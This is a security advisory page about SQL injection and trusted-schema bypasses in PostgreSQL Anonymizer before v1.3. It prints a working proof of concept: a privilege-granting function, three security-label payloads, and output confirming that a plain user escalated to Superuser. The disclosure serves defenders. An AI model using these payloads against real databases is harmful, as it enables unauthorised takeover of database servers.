PostgreSQL: Anonymizer SQL Injection and Trusted Schema Bypasses
HighPublished May 9, 2024
### Summary Postgresql Anonymizer enables users to set security labels on objects to mask specified properties. There is a flaw that allows complex expressions to be provided as a value. This expression is then later used as it to create the masked views leading to SQL Injection. If dynamic masking this will lead to privilege escalation to Superuser after the label is created. The feature restrict_to_trusted_schemas is provided to only allow mask functions from a set of explicitly trusted schemas. There are issues with the implementation that enable a malicious user to bypass these restrictions having their own function execute when the masked view is used. ### Severity A user who is able to create security labels in the masked schema can elevate to Superuser when dynamic masking is enabled. ### Proof of Concept The setup has the Superuser postgres and a non privileged user test. The user test should have privileges to create objects in the source schema. postgresql.conf has the following additions ```sql shared_preload_libraries = 'anon' anon.maskschema = mask anon.sourceschema = public ``` As Superuser create the extension and enable dynamic masking ```sql CREATE EXTENSION ...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| postgresql_anonymizer Product | < v1.3 | v1.3 |
Details and references
### Summary Postgresql Anonymizer enables users to set security labels on objects to mask specified properties. There is a flaw that allows complex expressions to be provided as a value. This expression is then later used as it to create the masked views leading to SQL Injection. If dynamic masking this will lead to privilege escalation to Superuser after the label is created. The feature restrict_to_trusted_schemas is provided to only allow mask functions from a set of explicitly trusted schemas. There are issues with the implementation that enable a malicious user to bypass these restrictions having their own function execute when the masked view is used. ### Severity A user who is able to create security labels in the masked schema can elevate to Superuser when dynamic masking is enabled. ### Proof of Concept The setup has the Superuser postgres and a non privileged user test. The user test should have privileges to create objects in the source schema. postgresql.conf has the following additions ```sql shared_preload_libraries = 'anon' anon.maskschema = mask anon.sourceschema = public ``` As Superuser create the extension and enable dynamic masking ```sql CREATE EXTENSION anon CASCADE; SELECT anon.start_dynamic_masking(); ``` As the user ``` test ``` executes the following ```sql CREATE OR REPLACE FUNCTION public.elevate() RETURNS void AS $ BEGIN BEGIN EXECUTE FORMAT('GRANT %I TO test', CURRENT_USER); EXCEPTION WHEN OTHERS THEN RAISE NOTICE '%', SQLERRM; END; END; $ LANGUAGE plpgsql; CREATE TABLE employee ( ssn TEXT ); ``` Below are different payloads to bypass the restriction. All will have the effect that when the resulting view is used that the user function in an untrusted schema will execute. For nested functions PoC ``` SECURITY LABEL FOR anon ON COLUMN employee.ssn IS 'MASKED WITH FUNCTION pg_catalog.upper(public.elevate()::text)'; INSERT INTO employee VALUES ('a'); ``` For ``` MASKED WITH VALUE ``` PoC ``` SECURITY LABEL FOR anon ON COLUMN employee.ssn IS 'MASKED WITH VALUE public.elevate()::text'; INSERT INTO employee VALUES ('a'); ``` For SELECT Rule PoC ``` SECURITY LABEL FOR anon ON COLUMN employee.ssn IS 'MASKED WITH VALUE NULL'; CREATE RULE "_RETURN" AS ON SELECT TO public.employee DO INSTEAD SELECT public.elevate()::text as ssn; ``` After creating the table SELECT from the resulting masked view and check the user permissions. I run the query as the user ``` postgres ``` but this could be any user that has access to the view. ```sql Select * from mask.employee; \du test List of roles Role name | Attributes | Member of -----------+------------+------------ test | | {postgres} ``` ### Further Analysis The option ``` anon.restrict_to_trusted_schemas``` [states](https://gitlab.com/dalibo/postgresql_anonymizer/-/blob/1.2.0/anon.c?ref_type=tags#L352) that enabling it requires masking filters must be in a trusted schema. #### Nested Functions The function [anon_get_function_schema](https://gitlab.com/dalibo/postgresql_anonymizer/-/blob/1.2.0/anon.c?ref_type=tags#L530) checks the function by running the value through the parser and getting the function call and returning the schema. This does not consider nested functions. A user can simply wrap their function around one in trusted schemas and have it be part of the resulting view. ```sql SECURITY LABEL FOR anon ON COLUMN employee.ssn IS 'MASKED WITH FUNCTION pg_catalog.upper(public.elevate()::text)'; \dS+ mask.employee View "mask.employee" Column | Type | Collation | Nullable | Default | Storage | Description --------+---------+-----------+----------+---------+----------+------------- id | integer | | | | plain | ssn | text | | | | extended | View definition: SELECT employee.id, u
- Severity from
- GitHub (reviewed advisory)
More Google advisories
All Google| Date | Advisory | Severity | Fixed in |
|---|---|---|---|
| Jun 142024 | PlayStation Portal (Remote Play): Stack-buffer overflow in HEVC decoder | Medium | 2.06 |
| Jun 72024 | GitHub - Workflow Privilege Escalation via Artifacts Upload | High | No fix yet |
| May 12024 | Python: Heap buffer overflow in a Pillow (PIL fork) interface to the littleCMS ICC Color Management System | Medium6.7 | 10.3.0 |
| Apr 52024 | UTM: Remote Code Execution Via Unsafe VM Handling | Medium | No fix yet |
| Apr 52024 | UTM: Unsafe URL Handling | Low | 4.5.1 |
| Apr 42024 | Microsoft Edge: Bypass of fix for CVE-2023-36880 | Low | See the advisory |